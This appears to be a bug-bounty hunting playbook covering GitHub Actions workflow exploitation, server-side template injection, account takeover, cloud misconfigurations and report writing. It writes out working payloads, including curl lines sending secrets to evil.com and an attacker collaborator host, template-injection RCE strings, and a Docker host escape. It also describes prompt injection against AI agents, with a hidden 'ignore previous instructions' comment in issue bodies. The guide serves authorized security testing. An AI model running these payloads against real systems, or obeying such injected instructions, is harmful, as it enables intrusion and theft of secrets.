Agentic AI Hunting (OWASP ASI01-ASI10)
When target has AI agents with tool access, these are the 10 attack classes:
| ID | Vuln Class | What to Test |
|---|---|---|
| ASI01 | Prompt injection | Override system prompt via user input -- make agent ignore its rules |
| ASI02 | Tool misuse | Make AI call tools with attacker-controlled params (SSRF via "fetch URL", RCE via code tool) |
| ASI03 | Data exfil | Extract training data / PII via crafted prompts that leak context |
| ASI04 | Privilege escalation | Use AI to access admin-only tools -- agent has broader perms than user |
| ASI05 | Indirect injection | Poison document/URL the AI processes -- hidden instructions in fetched content |
| ASI06 | Excessive agency | AI takes destructive actions without confirmation -- delete, send, pay |
| ASI07 | Model DoS | Craft inputs that cause infinite loops, excessive token usage, or OOM |
| ASI08 | Insecure output | AI generates XSS/SQLi/command injection in its output that gets rendered |
| ASI09 | Supply chain | Compromised plugins/tools/MCP servers the AI calls |
| ASI10 | Sensitive disclosure | AI reveals internal configs, API keys, system prompts, user data |
Triage rule: ASI alone = Informational. Must chain to IDOR/exfil/RCE/ATO for paid bounty.
Cache Poisoning / Web Cache Deception
- Test
X-Forwarded-Host,X-Original-URL,X-Rewrite-URL-- unkeyed headers reflected in response - Parameter cloaking (
?param=value;poison=xss) - Fat GET (body params on GET requests)
- Web cache deception (
/account/settings.css-- trick cache into storing private response) - Param Miner (Burp extension) -- auto-discovers unkeyed headers
HTTP Request Smuggling
- CL.TE: Content-Length processed by frontend, Transfer-Encoding by backend
- TE.CL: Transfer-Encoding processed by frontend, Content-Length by backend
- H2.CL: HTTP/2 downgrade smuggling
- TE obfuscation:
Transfer-Encoding: xchunked, tab prefix, space prefix - Use Burp "HTTP Request Smuggler" extension -- detects automatically
CL.TE Example
httpPOST / HTTP/1.1 Host: target.com Content-Length: 13 Transfer-Encoding: chunked 0 SMUGGLED
Frontend reads Content-Length: 13 -> sends all. Backend reads Transfer-Encoding -> sees chunk "0" = end -> "SMUGGLED" left in buffer -> next user's request poisoned.
Android / Mobile Hunting
- Certificate pinning bypass (Frida/objection)
- Exported activities/receivers (AndroidManifest.xml)
- Deep link injection
- Shared preferences / SQLite in cleartext
- WebView JavaScript bridge
- Mobile API often uses older/different API version than web
CI/CD Pipeline — GitHub Actions Security
Tooling: Use sisakulint for automated SAST — 52 rules, taint propagation across steps/jobs/reusable workflows, 81.6% coverage of GitHub Security Advisories (31/38 GHSAs). Install:
brew install sisakulintor download binary from releases.Quick scan:
sisakulint scan .github/workflows/— flags Critical/High issues with auto-fix suggestions. Remote scan:sisakulint scan --remote owner/repo— scan without cloning.
Recon: Finding Workflow Files
bash# Clone target's public repos, then: find . -name "*.yml" -path "*/.github/workflows/*" | head -50 # Quick grep for dangerous patterns: grep -rn "pull_request_target\|workflow_run" .github/workflows/ grep -rn 'github\.event\.\(issue\|pull_request\|comment\)' .github/workflows/ grep -rn 'GITHUB_ENV\|GITHUB_OUTPUT\|GITHUB_PATH' .github/workflows/ grep -rn 'secrets\.\|secrets: inherit' .github/workflows/ # Run sisakulint on all workflows: sisakulint scan .github/workflows/
Category 1: Code Injection & Expression Safety (CICD-SEC-04)
Root cause: Untrusted input (github.event.issue.title, github.event.pull_request.body, branch names, commit messages) interpolated into run: blocks via ${{ }} expressions.
Taint sources (attacker-controlled):
github.event.issue.title / .body github.event.pull_request.title / .body / .head.ref github.event.comment.body github.event.review.body github.event.pages.*.page_name github.event.commits.*.message / .author.name github.event.head_commit.message / .author.name github.event.workflow_run.head_branch github.head_ref
- Expression injection —
${{ github.event.issue.title }}inrun:block = RCEyaml# VULNERABLE — attacker creates issue with title: a]]; curl https://evil.com/$(env | base64) # run: echo "${{ github.event.issue.title }}" # FIXED — use env var (shell-quoted, not expression-interpolated) env: TITLE: ${{ github.event.issue.title }} run: echo "$TITLE" - Environment variable injection — untrusted input →
$GITHUB_ENVyaml# VULNERABLE — attacker injects newline + arbitrary VAR=VALUE run: echo "BRANCH=${{ github.head_ref }}" >> $GITHUB_ENV # FIXED — use heredoc delimiter run: | { echo "BRANCH<<EOF" echo "${{ github.head_ref }}" echo "EOF" } >> $GITHUB_ENV - PATH injection — untrusted input →
$GITHUB_PATH= arbitrary binary execution - Output clobbering — untrusted input →
$GITHUB_OUTPUTwithout heredoc delimiter = downstream job manipulation - Argument injection — untrusted input as CLI argument (e.g.,
docker run ${{ ... }})yaml# VULNERABLE run: docker run ${{ github.event.pull_request.body }} # FIXED — end-of-options marker + env var env: INPUT: ${{ github.event.pull_request.body }} run: docker run -- "$INPUT" - Request forgery (SSRF) — attacker-controlled URL in
curl/wgetwithin workflow
Category 2: Pipeline Poisoning & Untrusted Checkout
Root cause: Privileged triggers (pull_request_target, workflow_run) checkout attacker's PR code, which then runs with repository secrets.
- Untrusted checkout —
actions/checkoutonpull_request_targetwithout explicit safe refyaml# VULNERABLE — checks out attacker's PR code with repo secrets on: pull_request_target jobs: build: steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # ATTACKER CODE - run: make build # runs attacker's Makefile with secrets # FIXED — only checkout base branch, or use read-only permissions permissions: {} steps: - uses: actions/checkout@v4 # checks out base branch by default - TOCTOU (Time-of-Check-Time-of-Use) — label-gated approval + mutable ref = attacker adds label, pushes malicious commit after approval
- Reusable workflow taint —
secrets: inheritpasses all secrets to called workflow that processes untrusted input - Cache poisoning — untrusted checkout → build → cache write → trusted workflow reads poisoned cache
- Cache poisoning (poisonable step) — unsafe checkout followed by build step before cache save
- Artifact poisoning —
actions/download-artifactfrom untrustedworkflow_runwithout validationyaml# VULNERABLE — downloads artifact from untrusted workflow, then executes it on: workflow_run steps: - uses: actions/download-artifact@v4 - run: ./downloaded-binary # attacker-controlled binary # FIXED — verify artifact hash/signature before execution - Artipacked —
actions/checkoutwithpersist-credentials: true(default) leaks.git/configcredentials in uploaded artifactsyaml# FIXED - uses: actions/checkout@v4 with: persist-credentials: false
Category 3: Supply Chain & Dependency Security (CICD-SEC-08)
- Unpinned actions —
uses: actions/checkout@v4(mutable tag) instead of SHA pinyaml# VULNERABLE — tag can be force-pushed uses: actions/checkout@v4 # FIXED — pinned to immutable commit SHA uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1 - Impostor commit — fork network allows pushing commits with SHA that appears to belong to upstream repo
- Ref confusion — ambiguous tag/branch names exploited to load unintended action version
- Known vulnerable actions — check actions against GHSA database (sisakulint detects automatically)
- Archived actions — unmaintained action with unpatched vulnerabilities
- Unpinned container images —
image: ubuntu:latestinstead of SHA256 digest pin
Category 4: Credential & Secret Protection
- Secret exfiltration —
curl https://evil.com/${{ secrets.TOKEN }}in workflow - Secrets in artifacts — uploaded artifacts contain
.env, credentials, or hidden filesyaml# FIXED — exclude hidden files - uses: actions/upload-artifact@v4 with: include-hidden-files: false - Unmasked secrets —
fromJson()derived values bypass GitHub's automatic maskingyaml# FIXED — manually mask derived secrets run: | TOKEN=$(echo '${{ secrets.JSON_CREDS }}' | jq -r '.token') echo "::add-mask::$TOKEN" - Excessive
secrets: inherit— reusable workflow call inherits all secrets when it only needs one - Hardcoded credentials — API keys, passwords, tokens directly in workflow YAML
Category 5: Triggers & Access Control (CICD-SEC-01)
- Dangerous triggers without mitigation —
pull_request_targetorworkflow_runwith nopermissions: {}, no approval gate, no ref restriction - Dangerous triggers with partial mitigation — some protections present but bypassable
- Label-based approval bypass —
if: contains(github.event.pull_request.labels.*.name, 'approved')is spoofable (attacker can add labels) - Bot condition spoofing —
if: github.actor != 'dependabot[bot]'is trivially bypassed by naming account similarly - Excessive GITHUB_TOKEN permissions —
permissions: write-allwhen onlycontents: readneeded - Self-hosted runners in public repos — untrusted PRs execute on org infrastructure = container escape → lateral movement
- OIDC token theft — CI runners expose OIDC tokens that grant cloud access
Category 6: AI Agent Security (NEW — 2025+)
- Unrestricted AI trigger —
allowed_non_write_users: "*"lets any user trigger AI agent execution - Excessive tool grants — AI agent given Bash/Write/Edit tools in untrusted trigger context = attacker prompt → RCE
- Prompt injection via workflow context —
${{ github.event.issue.body }}interpolated into AI agent prompt parameter
Hunting Workflow
1. Recon: find all .github/workflows/*.yml in target's public repos 2. Scan: sisakulint scan .github/workflows/ (or --remote owner/repo) 3. Triage: Critical/High findings → manual verification 4. For each finding: a. Can I trigger this as an external contributor? (fork PR, issue creation, comment) b. What secrets are accessible? (check permissions: block, secrets usage) c. What's the blast radius? (repo secrets → deploy keys → cloud access) 5. PoC: create a fork, submit PR/issue that triggers the vulnerable workflow 6. Prove: show secret exfiltration, code execution, or artifact tampering
Expression Injection PoC Template
bash# Step 1: Create an issue with injection payload in title gh issue create --repo TARGET/REPO --title '"; curl https://ATTACKER.burpcollaborator.net/$(cat $GITHUB_ENV | base64 -w0) #' --body "test" # Step 2: If workflow triggers on issues and interpolates title → secrets exfiltrated # CVSS: 9.3 Critical (RCE with repo secrets)
Real-World GHSAs (Proven Payouts)
| GHSA | Action | Bug Class | Severity |
|---|---|---|---|
| GHSA-gq52-6phf-x2r6 | tj-actions/branch-names | Expression injection via branch name | Critical |
| GHSA-4xqx-pqpj-9fqw | atlassian/gajira-create | Code injection in privileged trigger | Critical |
| GHSA-g86g-chm8-7r2p | check-spelling/check-spelling | Secret exposure in build logs | Critical |
| GHSA-cxww-7g56-2vh6 | actions/download-artifact | Artifact poisoning (official action) | High |
| GHSA-h3qr-39j9-4r5v | gradle/gradle-build-action | Cache poisoning via untrusted checkout | High |
| GHSA-mrrh-fwg8-r2c3 | tj-actions/changed-files | Supply chain — impostor commit | High |
| GHSA-phf6-hm3h-x8qp | broadinstitute/cromwell | Token exposure via code injection | Critical |
| GHSA-qmg3-hpqr-gqvc | reviewdog/action-setup | Time-bomb via tag pinning | High |
| GHSA-vqf5-2xx6-9wfm | github/codeql-action | Known vulnerable official action | High |
| GHSA-hw6r-g8gj-2987 | pytorch/pytorch | Argument injection in build workflow | Moderate |
A→B Signal: CI/CD Chains
Expression injection → secret exfiltration → cloud account takeover Untrusted checkout → Makefile RCE → deploy key theft → repo takeover Artifact poisoning → release binary tampering → supply chain compromise Cache poisoning → build output manipulation → backdoored deployment Impostor commit → pinned action hijack → all downstream repos affected OIDC token theft → cloud metadata → S3/GCS read → customer data Self-hosted runner → container escape → internal network pivot
Deep-Dive: From sisakulint Finding to Bounty Report
sisakulint findings are potentially exploitable — not confirmed bugs. Every finding needs manual verification. The patterns below are extracted from 36 real-world paid reports ($250K+ total payouts). Each section follows the thinking that led to actual bounty payments.
1. Code Injection / Argument Injection
Gate question: Can an external attacker trigger this workflow AND does the tainted input reach a shell context?
Verification depth:
- Trigger accessibility —
issues: openedandissue_comment: createdare triggerable by ANY GitHub user.pull_request_targetis triggerable via fork PR. Check if there's anif:condition filtering by actor/association. - Direct vs transitive taint — The workflow file itself may look safe. Cycode found Bazel's $13K bug because
cherry-picker.ymlpassed${{ github.event.issue.title }}viawith:to a composite action in another repo (bazelbuild/continuous-integration). The composite action'saction.ymlhadrun: TITLE="${{ inputs.issue-title }}". Conventional scanners (actionlint) missed this because they don't followuses:into external composite actions. Always fetch and read the composite action's action.yml. - Payload construction — Branch names cannot contain spaces. Ultralytics YOLO attacker used
${IFS}(Internal Field Separator) and Bash brace expansion{curl,-sSfL,URL}to bypass this. Issue titles/bodies have no such restriction. - Secrets reachability — Check
permissions:at workflow AND job level. No explicitpermissions:block = repo default (oftenwrite-all). Checkenv:blocks for${{ secrets.* }}. Check ifGITHUB_TOKENhas write permissions. - Impact chain — Bazel: issue title injection → composite action shell injection →
BAZEL_IO_TOKEN+GITHUB_TOKEN (write-all)→ Bazel codebase backdoor capability (affects Google, Kubernetes, Uber, LinkedIn).
Kill signals: ${{ contains(...) }} or ${{ startsWith(...) }} returning booleans are NOT injectable — false positive. ${{ github.event.pull_request.labels.*.name }} inside contains() evaluates to true/false, not the label text.
2. Untrusted Checkout (Pwn Request)
Gate question: Does the workflow checkout attacker-controlled code AND then execute something from that checkout?
Verification depth:
- Explicit vs implicit code execution — The Flank $7.5K bug:
gh pr checkout→gradle/gradle-build-actionruns Gradle → Gradle auto-evaluatessettings.gradle.ktsas Kotlin script. The attacker never wrote arun:command. Any build tool that reads config from the repo is an execution vector:Makefile,package.json(postinstall scripts),setup.py,build.gradle.kts,.cargo/config.toml,Gemfile. - Issue_comment is as dangerous as pull_request_target — Rspack NPM token theft:
issue_commenttrigger +refs/pull/${{ github.event.issue.number }}/headcheckout.issue_commentruns in base repo context with full secrets. Draft PRs are included. No contributor status check. Always check issue_comment workflows for PR checkout patterns. - Self-hosted runner escalation — If
runs-on:containsself-hosted, check: (a) Is the runner ephemeral? (--ephemeralin config.sh). (b) Is the runner in Docker group? (docker run -v /:/host --privileged). (c) PyTorch pattern: contributor trick (typo fix PR → merge → contributor status → auto-trigger on self-hosted runner without approval) → RoR (Runner-on-Runner:RUNNER_TRACKING_ID=0+ install attacker's runner agent) → wait for privileged workflow → steal PATs from.git/configor process memory. - TOCTOU — Label-gated
pull_request_targetworkflows: attacker gets label added (social engineering), workflow checks label exists, attacker pushes malicious commit between check and checkout. Theref:at checkout time resolves to the new commit. Mutable refs (github.event.pull_request.head.shaat trigger time vs checkout time) are the root cause. - Post-exploitation — After initial access, enumerate all secrets:
env | base64,cat /proc/self/environ,gcore $(pgrep Runner.Worker)+strings core.* | grep ghp_. PyTorch attackers got 3 bot PATs → combined them to bypass branch protection on main.
Kill signals: if: "!github.event.pull_request.head.repo.fork" blocks external attackers. permissions: {} at workflow level with only contents: read at job level limits damage. Ephemeral runners with --ephemeral flag prevent persistence.
3. Artifact Poisoning
Gate question: Is there a TWO-STAGE workflow pattern where Stage 1 (pull_request, no secrets) uploads artifacts and Stage 2 (workflow_run, with secrets) downloads and uses them?
Verification depth:
- Cross-workflow artifact flow — Same-workflow upload/download (build job → test job via
needs:) is NOT poisonable because the attacker's PR runs their own build. The dangerous pattern is:pull_requestworkflow uploads → separateworkflow_runworkflow downloads.workflow_runtriggers on the completion of another workflow and runs in the DEFAULT BRANCH context with full secrets. - Download path matters —
actions/download-artifactwithpath: .or workspace-relative paths (grafana-server/bin) can overwrite source code, build scripts, or binaries. Safe pattern: extract to${{ runner.temp }}/artifacts. - Source validation — Does the
workflow_runconsumer checkgithub.event.workflow_run.head_repository.full_name != github.repository? If not, fork PR artifacts are consumed blindly. Rust release pipeline was vulnerable to exactly this. - ArtiPACKED (persist-credentials) —
actions/checkoutdefaults topersist-credentials: true. This writesGITHUB_TOKENto.git/config. If the artifact upload path includes.git/(e.g.,path: .), the token is publicly downloadable from the Actions artifact. Check: does anyupload-artifactstep usepath: .or a broad path that includes.git/?
Kill signals: Upload and download in the same workflow run (connected by needs:). workflow_run consumer that explicitly checks fork origin. persist-credentials: false on checkout.
4. Cache Poisoning
Gate question: Can a fork PR write a cache entry that the default branch later restores in a privileged context?
CRITICAL: GitHub's cache scoping does NOT fully prevent this. A PR branch can read caches from the default branch. A fork PR workflow can WRITE cache entries. If the cache key is deterministic (hashFiles('package-lock.json')) and the attacker doesn't modify that file, the fork PR writes to the SAME cache key.
Verification depth:
- Key predictability —
key: ${{ runner.os }}-node-${{ hashFiles('package-lock.json') }}is fully predictable. Addinggithub.shaorgithub.run_idto the key makes it unpredictable. Check every cache key for the presence of an unpredictable component. - Cache hierarchy exploitation —
workflow_runandworkflow_dispatchworkflows run in the default branch context. If they write to caches with predictable keys, an attacker who can trigger the upstream workflow (via fork PR) can pre-poison the cache. Therun-dashboard-search-e2e.ymlpattern:workflow_runtrigger →actions/cachewithhashFiles()key → all PR workflows read this cache. - Payload injection — Cacheract: inject malware into package manager caches (
node_modules/.cache,~/.cache/pip,~/.gradle/caches). The malware self-perpetuates because each restore → build → save cycle preserves the payload. Cache TTL is 7 days — the payload survives across multiple workflow runs. - Privileged consumption — The cache is restored in a
pushorscheduleworkflow on the default branch. These workflows have fullsecretsaccess. The poisoned dependency executes duringnpm install/pip install/gradle buildand exfiltrates secrets. - Clinejection chain — Prompt injection → AI agent runs
npm installfrom attacker commit → Cacheract in npm cache → nightly publish workflow restores cache → VSCE_PAT, OVSX_PAT, NPM_RELEASE_TOKEN stolen → malicious Cline v2.3.0 published for 8 hours.
Kill signals: Cache key includes github.sha or github.run_id. Separate cache keys per workflow. actions/cache/restore (read-only) instead of actions/cache (read-write) in PR workflows.
5. Self-Hosted Runners
Gate question: Is a self-hosted runner used in a PUBLIC repo where external contributors can trigger workflows?
Verification depth:
- Approval settings — Default: "Require approval for first-time contributors". After ONE merged PR (even a typo fix), the attacker becomes a "contributor" and subsequent PRs auto-trigger without approval. GitHub runner-images $20K bug used exactly this trick.
- Runner persistence — Non-ephemeral runners retain state between jobs.
RUNNER_TRACKING_ID=0prevents the runner from cleaning up attacker processes after job completion. Detached Docker containers (docker run -d --restart always) also survive cleanup. - Runner-on-Runner (RoR) — Install an official GitHub Actions runner binary on the target's self-hosted runner, register it to attacker's private org. Uses only legitimate GitHub binaries and HTTPS to github.com — indistinguishable from normal runner traffic. No C2 server needed. GitHub itself is the C2.
- Lateral movement — RoR persistence → wait for privileged
push/scheduleworkflows → steal tokens from.git/config,$GITHUB_ENV,/proc/PID/environ, or Runner.Worker process memory. PyTorch: 3 bot PATs → 93 repos → AWS S3 write access →pip install pytorchsupply chain. - Docker group escalation —
docker run -v /:/host --privileged alpine chroot /host→ full host root. Add SSH keys, modify sudoers, install persistent backdoors.
Kill signals: --ephemeral flag on runner registration. "Require approval for ALL outside collaborators" (not just first-time). Runner not in Docker group. Private repo (no external PRs).
6. Supply Chain (commit-sha / impostor-commit / ref-confusion)
Gate question: Does the workflow use mutable tags (@v1, @v2) for actions, and could those tags be replaced?
Verification depth:
- Tag mutability —
git tag -f v1 <malicious-commit>replaces the tag. 98.4% of repos don't use SHA pinning (Legit Security 2024). tj-actions attack: all version tags (v1, v35, v45) replaced with memdump.py payload → 23K repos affected → 218 confirmed secret leaks. - Impostor commits — Fork network shares object store with parent. Attacker pushes a commit to fork, then references that commit SHA in the parent repo's
uses:. GitHub resolves it because the SHA exists in the shared object store. - RepoJacking — Org renames create a redirect. Old name becomes available. Attacker registers old org name, creates same repo, hosts malicious action. Shopify/unity-buy-sdk used
MirrorNG/unity-runner→ MirrorNG renamed to MirageNet →MirrorNGwas claimable. Check:GET /users/<action-owner>returns 404? Takeover possible. - Payload stealth — tj-actions memdump.py: extract secrets from Runner.Worker process memory via
/proc/PID/maps+/proc/PID/mem, encrypt with AES+RSA, output to workflow log. Logs are publicly visible but encrypted — only attacker has the key.
Kill signals: Full 40-char SHA pinning (uses: actions/checkout@b4ffde65...). Dependabot configured for github-actions ecosystem. Organization-level action allowlist.
7. AI Agent Security
Gate question: Is an AI agent (Gemini CLI, Claude Code, Cline, Codex) invoked in a workflow where external users can influence the prompt?
Verification depth:
- Trigger + prompt source —
issues: opened→ AI triage bot readsgithub.event.issue.body. The body IS the prompt. HTML comments (<!-- ignore previous instructions -->) are invisible in GitHub UI but included in the API response and thus in the AI prompt. - Tool permissions — If the AI agent has Bash/Write/Edit tools and runs with secrets in env, prompt injection = RCE + secret exfil.
allowed_non_write_users: "*"means ANY user can trigger. - Multi-phase chain — Clinejection: prompt injection → AI runs
npm installfrom attacker commit → Cacheract plants in npm cache → nightly publish restores cache → tokens stolen → malicious version published. A prompt injection finding alone may seem low-severity, but it's a gateway to cache poisoning and supply chain attacks.
Kill signals: author_association == 'MEMBER' || 'OWNER' check before AI processing. --read-only --no-exec flags on AI CLI. permissions: {} at workflow level.
8. Permissions / Secrets Hygiene
Not standalone bugs — these are force multipliers. A code-injection-medium with permissions: write-all is Critical. The same injection with permissions: { contents: read } is limited.
Chaining checklist:
secrets: inheriton reusable workflow call → all org secrets accessible to called workflowpermissions:block missing → repo default (often write-all)GITHUB_TOKENwithcontents: write→ CVE-2022-46258 pattern: use Contents API to create new workflow file → new workflow accesses ALL repo/org secrets (the original workflow never referenced them)
Key references:
- sisaku-security/agent-idea/bugbountyreport — 36 real-world reports with full attack chains
- sisakulint docs/advisory — 38 GHSAs with detection mapping
- DEF CON 32: Grand Theft Actions — Khan & Stawinski, $250K+ in self-hosted runner bugs
- Synacktiv: GitHub Actions Exploitation (5 parts)
SSTI -- Server-Side Template Injection
Detection Payloads
{{7*7}} -> 49 = Jinja2 / Twig / generic ${7*7} -> 49 = Freemarker / Pebble / Velocity <%= 7*7 %> -> 49 = ERB (Ruby) #{7*7} -> 49 = Mako / some Ruby *{7*7} -> 49 = Spring (Thymeleaf) {{7*'7'}} -> 7777777 = Jinja2 (Twig gives 49)
Where to Test
- Name/bio/description fields (profile pages)
- Email templates (invoice name, username in confirmation email)
- Custom error messages
- PDF generators (invoice, report export)
- URL path parameters
- Search queries reflected in results
Jinja2 -> RCE (Python / Flask)
python{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig -> RCE (PHP / Symfony)
php{{["id"]|filter("system")}}
Freemarker -> RCE (Java)
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
ERB -> RCE (Ruby on Rails)
ruby<%= `id` %>
Subdomain Takeover
Detection
bash# Check for dangling CNAMEs cat /tmp/subs.txt | dnsx -silent -cname -resp | grep -i "CNAME" | tee /tmp/cnames.txt # Look for CNAMEs to: github.io, heroku.com, azurewebsites.net, netlify.app, s3.amazonaws.com # Automated takeover detection nuclei -l /tmp/subs.txt -t ~/nuclei-templates/takeovers/ -o /tmp/takeovers.txt
Quick-Kill Fingerprints
"There isn't a GitHub Pages site here" -> GitHub Pages "NoSuchBucket" -> AWS S3 "No such app" -> Heroku "404 Web Site not found" -> Azure App Service "Fastly error: unknown domain" -> Fastly CDN "project not found" -> GitLab Pages "It looks like you may have typed..." -> Shopify
Impact Escalation
- Basic takeover: serve page under target.com subdomain -> Low/Medium
-
- Cookies: if target.com sets cookie with domain=.target.com -> credential theft -> High
-
- OAuth redirect: if sub.target.com is a registered redirect_uri -> ATO chain -> Critical
-
- CSP bypass: if sub.target.com is in target's CSP -> XSS anywhere -> Critical
ATO -- Account Takeover (Complete Taxonomy)
Path 1: Password Reset Poisoning (Host Header Injection)
bashPOST /forgot-password Host: attacker.com Content-Type: application/x-www-form-urlencoded email=victim@company.com # If reset link = https://attacker.com/reset?token=XXXX -> ATO # Also try: X-Forwarded-Host, X-Host, X-Forwarded-Server
Path 2: Reset Token in Referrer Leak
After clicking reset link, if page loads external resources -> token in Referer header to external domain.
Path 3: Predictable / Weak Reset Tokens
bash# If token < 16 hex chars or numeric only -> brute-forceable ffuf -u "https://target.com/reset?token=FUZZ" -w <(seq -w 000000 999999) -fc 404 -t 50
Path 4: Token Not Expiring / Reuse
Request token -> wait 2 hours -> use it -> still works? Request token #1 -> request token #2 -> use token #1 -> still works?
Path 5: Email Change Without Re-Authentication
bashPUT /api/user/email {"new_email": "attacker@evil.com"} # If no current_password required -> attacker changes email -> locks out victim
Path 6: OAuth Account Linking Abuse
Can you link an OAuth account from a different email to an existing account?
Path 7: Session Fixation
GET /login -> note Set-Cookie session=XYZ -> Log in -> does session ID change? If not = fixation.
Cloud / Infra Misconfigs
S3 / GCS / Azure Blob
bash# S3 public listing aws s3 ls s3://target-bucket-name --no-sign-request # Try common names for name in target target-backup target-assets target-prod target-staging target-uploads target-data; do curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/" done
EC2 Metadata (via SSRF)
bashhttp://169.254.169.254/latest/meta-data/iam/security-credentials/ # Returns role name, then: http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # Returns AccessKeyId, SecretAccessKey, Token -> Critical # GCP (needs header Metadata-Flavor: Google): http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token # Azure (needs header Metadata: true): http://169.254.169.254/metadata/instance?api-version=2021-02-01
Firebase Open Rules
bashcurl -s "https://TARGET-APP.firebaseio.com/.json" # If data returned -> open read curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # If success -> open write -> Critical
Exposed Admin Panels
bash/jenkins /grafana /kibana /elasticsearch /swagger-ui.html /api-docs /phpMyAdmin /adminer.php /.env /config.json /server-status /actuator/env
Kubernetes / Docker
bash# K8s API (unauthenticated): curl -sk https://TARGET:6443/api/v1/namespaces/default/pods # Docker API: curl -s http://TARGET:2375/containers/json
PHASE 4: VALIDATE
The 7-Question Gate (Run BEFORE Writing ANY Report)
All 7 must be YES. Any NO -> STOP.
Q1: Can I exploit this RIGHT NOW with a real PoC?
Write the exact HTTP request. If you cannot produce a working request -> KILL IT.
Q2: Does it affect a REAL user who took NO unusual actions?
No "the user would need to..." with 5 preconditions. Victim did nothing special.
Q3: Is the impact concrete (money, PII, ATO, RCE)?
"Technically possible" is not impact. "I read victim's SSN" is impact.
Q4: Is this in scope per the program policy?
Check the exact domain/endpoint against the program's scope page.
Q5: Did I check Hacktivity/changelog for duplicates?
Search the program's disclosed reports and recent changelog entries.
Q6: Is this NOT on the "always rejected" list?
Check the list below. If it's there and you can't chain it -> KILL IT.
Q7: Would a triager reading this say "yes, that's a real bug"?
Read your report as if you're a tired triager at 5pm on a Friday. Does it pass?
4 Pre-Submission Gates
Gate 0: Reality Check (30 seconds)
[ ] The bug is real -- confirmed with actual HTTP requests, not just code reading [ ] The bug is in scope -- checked program scope explicitly [ ] I can reproduce it from scratch (not just once) [ ] I have evidence (screenshot, response, video)
Gate 1: Impact Validation (2 minutes)
[ ] I can answer: "What can an attacker DO that they couldn't before?" [ ] The answer is more than "see non-sensitive data" [ ] There's a real victim: another user's data, company's data, financial loss [ ] I'm not relying on the user doing something unlikely
Gate 2: Deduplication Check (5 minutes)
[ ] Searched HackerOne Hacktivity for this program + similar bug title [ ] Searched GitHub issues for target repo [ ] Read the most recent 5 disclosed reports for this program [ ] This is not a "known issue" in their changelog or public docs
Gate 3: Report Quality (10 minutes)
[ ] Title: One sentence, contains vuln class + location + impact [ ] Steps to reproduce: Copy-pasteable HTTP request [ ] Evidence: Screenshot/video showing actual impact (not just 200 response) [ ] Severity: Matches CVSS 3.1 score AND program's severity definitions [ ] Remediation: 1-2 sentences of concrete fix
CVSS 3.1 Quick Guide
| Factor | Low (0-3.9) | Medium (4-6.9) | High (7-8.9) | Critical (9-10) |
|---|---|---|---|---|
| Attack Vector | Physical | Local | Adjacent | Network |
| Privileges | High | Low | None | None |
| User Interaction | Required | Required | None | None |
| Impact | Partial | Partial | High | High (all 3) |
Typical Scores by Bug Class
| Bug | Typical CVSS | Severity |
|---|---|---|
| IDOR (read PII) | 6.5 | Medium |
| IDOR (write/delete) | 7.5 | High |
| Auth bypass -> admin | 9.8 | Critical |
| Stored XSS | 5.4-8.8 | Med-High |
| SQLi (data exfil) | 8.6 | High |
| SSRF (cloud metadata) | 9.1 | Critical |
| Race condition (double spend) | 7.5 | High |
| GraphQL auth bypass | 8.7 | High |
| JWT none algorithm | 9.1 | Critical |
ALWAYS REJECTED -- Never Submit These
Missing CSP/HSTS/security headers, missing SPF/DKIM/DMARC, GraphQL introspection alone, banner/version disclosure without working CVE exploit, clickjacking on non-sensitive pages, tabnabbing, CSV injection, CORS wildcard without credential exfil PoC, logout CSRF, self-XSS, open redirect alone, OAuth client_secret in mobile app, SSRF DNS-ping only, host header injection alone, no rate limit on non-critical forms, session not invalidated on logout, concurrent sessions, internal IP disclosure, mixed content, SSL weak ciphers, missing HttpOnly/Secure cookie flags alone, broken external links, pre-account takeover (usually), autocomplete on password fields.
N/A hurts your validity ratio. Informative is neutral. Only submit what passes the 7-Question Gate.
Conditionally Valid With Chain
These low findings become valid bugs when chained:
| Low Finding | + Chain | = Valid Bug |
|---|---|---|
| Open redirect | + OAuth code theft | ATO |
| Clickjacking | + sensitive action + PoC | Account action |
| CORS wildcard | + credentialed exfil | Data theft |
| CSRF | + sensitive state change | Account takeover |
| No rate limit | + OTP brute force | ATO |
| SSRF (DNS only) | + internal access proof | Internal network access |
| Host header injection | + password reset poisoning | ATO |
| Self-XSS | + login CSRF | Stored XSS on victim |
PHASE 5: REPORT
HackerOne Report Template
Title: [Vuln Class] in [endpoint/feature] leads to [Impact] ## Summary [2-3 sentences: what it is, where it is, what attacker can do] ## Steps To Reproduce 1. Log in as attacker (account A) 2. Send request: [paste exact request] 3. Observe: [exact response showing the bug] 4. Confirm: [what the attacker gained] ## Supporting Material [Screenshot / video of exploitation] [Burp Suite request/response] ## Impact An attacker can [specific action] resulting in [specific harm]. [Quantify if possible: "This affects all X users" or "Attacker can access Y data"] ## Severity Assessment CVSS 3.1 Score: X.X ([Severity label]) Attack Vector: Network | Complexity: Low | Privileges: None | User Interaction: None
Bugcrowd Report Template
Title: [Vuln] at [endpoint] -- [Impact in one line] Bug Type: [IDOR/SSRF/XSS/etc] Target: [URL or component] Severity: [P1/P2/P3/P4] Description: [Root cause + exact location] Reproduction: 1. [step] 2. [step] 3. [step] Impact: [Concrete business impact] Fix Suggestion: [Specific remediation]
Human Tone Rules (Avoid AI-Sounding Writing)
- Start sentences with the impact, not the vulnerability name
- Write like you're explaining to a smart developer, not a textbook
- Use "I" and active voice: "I found that..." not "A vulnerability was discovered..."
- One concrete example beats three abstract sentences
- No em dashes, no "comprehensive/leverage/seamless/ensure"
Report Title Formula
[Bug Class] in [Exact Endpoint/Feature] allows [attacker role] to [impact] [victim scope]
Good titles:
IDOR in /api/v2/invoices/{id} allows authenticated user to read any customer's invoice data Missing auth on POST /api/admin/users allows unauthenticated attacker to create admin accounts Stored XSS in profile bio field executes in admin panel -- allows privilege escalation SSRF via image import URL parameter reaches AWS EC2 metadata service Race condition in coupon redemption allows same code to be used unlimited times
Bad titles:
IDOR vulnerability found Broken access control XSS in user input Security issue in API
Impact Statement Formula (First Paragraph)
An [attacker with X access level] can [exact action] by [method], resulting in [business harm]. This requires [prerequisites] and leaves [detection/reversibility].
